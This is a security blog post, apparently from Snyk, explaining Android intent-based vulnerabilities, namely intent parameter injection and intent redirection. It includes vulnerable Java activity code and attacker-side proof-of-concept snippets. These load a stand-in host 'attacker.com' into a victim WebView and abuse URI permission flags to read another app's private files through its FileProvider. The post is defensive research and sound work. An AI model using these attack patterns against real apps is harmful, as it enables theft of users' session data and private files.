Exploring intent-based Android security vulnerabilities on Google Play
Kirill Efimov
2021年5月18日
0 分で読めますOur phones know a lot about us, so it’s important we can trust them. After discovering and then publishing our findings on SourMint — the malicious iOS ad SDK — the Snyk Security Team decided to dig deeper in the Android ecosystem. To do so, we leveraged Snyk Code to analyze and search for vulnerabilities in applications uploaded to the Google Play store. Our focus was on security issues involving intents — objects used for launching an operation that is to be performed by a component of the app. Intents are used by internal components to communicate with each other as well as to access exported components of other applications. This allows triggering injection and redirection attacks resulting in leaking private data stored by the app. By analyzing the top applications in 50 categories, Snyk discovered vulnerabilities in various applications including a popular shopping app, a social network app, a client for Reddit and more.
In this post, we’ll explore these Andoid Intent-based vulnerabilities to see why and how they work. In a follow up post, we’ll take a look at finding and fixing them with Snyk Code.
Android Intent vulnerabilities
Starting application components
Intents can carry bundled extra arguments of different types, including serialized objects or even other intents. When a public component receives an intent, it can unpack its extras
bundle and use the extracted data to launch other components within the app.
Applications use intents for inter-component and inter-app communication.
Another way to reach parts in the application is by using deep links — URI-like links that point to an activity within the app. In order to listen for these, an activity must define an intent-filter
within its declaration in the Android manifest file. For instance, to play a song in a music player, a link with a custom scheme like mymusicapp://
can be used for opening it. In addition, Android uses the reserved intent-scheme URI intent://
for launching activities that are meant to be browsable.
What’s the risk?
As seen in the vast majority of software ecosystems, threat actors are constantly uploading malicious pieces of code that try to compromise users as well as other parts of the system. Android is no different. A malicious Android application can be any app that tries to steal private data stored on the device or perform an action unintended by the user.
These apps can be:
Harmful by design and installed by users directly from the Google Play store or an APK mirror site.
Intentionally built with a backdoor that can be triggered by a remote attack to execute code (RCE).
Unknowingly built with a library or SDK that contain the malicious component.
Launched with Google Play Instant without even being installed on the device.
This is a pretty broad definition, but the real world examples are evident as malicious apps are being constantly detected and removed from the Google Play store. Some recent examples include the removal of 10 apps that installed the Clast82 dropper that stole financial app accounts and allowed taking over the victim’s device, 21 apps that ran fraudulent ad campaigns, 17 apps that installed the Joker malware aiming to steal contact lists, device information and private SMS messages, and the list goes on.
Like any input to an application that can be controlled by the user, intents should not be trustedand treated accordingly. We’re all familiar with SQL injections, cross-site scripting (XSS) and other web application vulnerabilities that can be triggered when user controlled data reaches a critical part in an application unvalidated and unsanitized. The same logic applies here. As they allow communication between any two apps, intents can be used by threat actors in malicious applications as an attack vector to target other apps on the victim’s device.
Intent parameter injection
Since they’re essentially data objects, intents allow the user to define custom parameters in addition to the ones provided by default. These parameters are defined on the extras
bundle using the putExtra
method that takes as arguments a parameter name string and the value. When these parameters are controlled by the user and not properly sanitized, they can reach sensitive components and compromise the app.
As an example, let’s look at an application that loads web pages inside one of its activities. It will take a URL from the intent and load it inside a WebView class. This is a common practice in applications where parts of functionality are based on a web UI. An example of such an activity is:
1@Override
2protected void onCreate(Bundle savedInstanceState) {
3 super.onCreate(savedInstanceState);
4
5 setContentView(R.layout.activity_main);
6 WebView webView = (WebView) findViewById(R.id.webview);
7
8 WebSettings settings = webView.getSettings();
9 settings.setJavaScriptEnabled(true);
10
11 Intent intent = getIntent();
12 String url = intent.getStringExtra("url");
13 webView.loadUrl(url);
14}
By leveraging this, an attacker can craft an intent that will trigger the activity and load their malicious URL inside the webview:
1Intent extra = new Intent();
2extra.setData(Uri.parse(...));
3String url = "https://attacker.com";
4extra.putExtra("url", url);
5startActivity(intent);
In this case, it leads to a URL injection vulnerability that can enable an attacker to run arbitrary JavaScript code from a malicious URL inside the WebView leading to potential session cookie, authentication headers and other sensitive data leaks.
A malicious application uses poisoned intent to open a URL and steal authentication headers.
Intent redirection
Embedding intents in other intents allows developers to create proxy components—components taking the bundled intent and passing it to a method like startActivity
to launch another component in the app. This can have a dangerous outcome as an attacker can craft an embedded intent which can reach a component that was not meant to be publicly reachable. This results in a security vulnerability similar to Open Redirect in web applications: intent redirection. Depending on the target component, it can have various outcomes including leaking a user’s credentials and authentication token, capturing the app’s database and other sensitive data, and in some cases, even remote code execution.
Here’s an example of a vulnerable activity:
1@Override
2public void onCreate(Bundle bundle) {
3 Intent intent = getIntent();
4 if (intent != null and intent.hasExtra("EXTRA_INTENT")) {
5 Intent extraIntent = (Intent)intent.getParcelableExtra("EXTRA_INTENT");
6 startActivity(extraIntent);
7 }
8}
An intent is bundled in the EXTRA_INTENT
parameter and is retrieved by the getParcelableExtra()
method after which it gets passed to startActivity
to launch a new activity. Notice that there’s no validation of the origin of the embedded intent nor a limitation on the components it’s allowed to start.
To demonstrate the risk, in some cases this can allow a malicious actor to reach FileProviders. FileProvider
is a subclass of ContentProvider
that allows sharing file data with a content://
URI scheme. An app can declare an internal file provider which is allowed to be temporarily accessed via a URI by setting android:grantUriPermissions="true"
in the Android manifest file. An example of such a declaration is:
1<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.myapp.fileprovider" android:grantUriPermissions="true">
2 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/paths"/></provider>
Leveraging an activity with an intent redirect vulnerability (as the one previously shown), the attacker can create the following intent:
1Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
2extra.setClassName(getPackageName(), "com.attacker.AccessProviderActivity"); extra.setData(Uri.parse("content://com.myapp.fileprovider/"));
3
4Intent intent = new Intent();
5intent.setClassName("com.myapp", "com.myapp.TargetProxyActivity");
6intent.putExtra("EXTRA_INTENT", extra);
7startActivity(intent);
The attacker has created an extra
intent which sets a couple of URI permissions:
Gaining persistent access to the provider that doesn’t disappear between device reboots.
Read/write permissions.
Prefixing the resource URI to be accessed with its
authorities
property in the manifest.
These should be granted to the attacker’s own com.attacker.AccessProviderActivity
activity on the data identified by the content://com.myapp.fileprovider/
URI.
The Android security model restricts an app’s ability to grant permissions on another app’s parts and here’s where the intent redirection vulnerability kicks into play. The extra Intent is bundled within another one that targets the vulnerable com.myapp.TargetProxyActivity
proxy activity. It will get extracted and launched by the app’s own activity, which has the privilege to set these, thus granting the attacker’s app previously unavailable permissions.
Listening for the incoming intent, the AccessProviderActivity
will catch it and can now read a private file using:
1String file = "content://com.myapp.provider/path/some_private_file";
2InputStream is = getContentResolver().openInputStream(Uri.parse(getIntent().getDataString() + file));
3BufferedReader br = new BufferedReader(new InputStreamReader(is));
4StringBuilder sb = new StringBuilder();
5String line;
6while ((line = br.readLine()) != null) {
7sb.append(line);
8}
These examples reflect some of the test cases our custom ruleset was built upon for scanning actual APKs from the Google Play store and surfacing these issues.
A malicious application taking over FileProvider
access of a vulnerable application.
Up next: Identifying vulnerable apps
This was an exploration of intent-based security vulnerabilities possible in Android. Check out our next post to see what we found in the wild when we analyzed 10,000 popular Android apps using Snyk Code. After that, we’ll give recommendations for fixing the different vulnerabilities. Stay tuned as these posts roll out!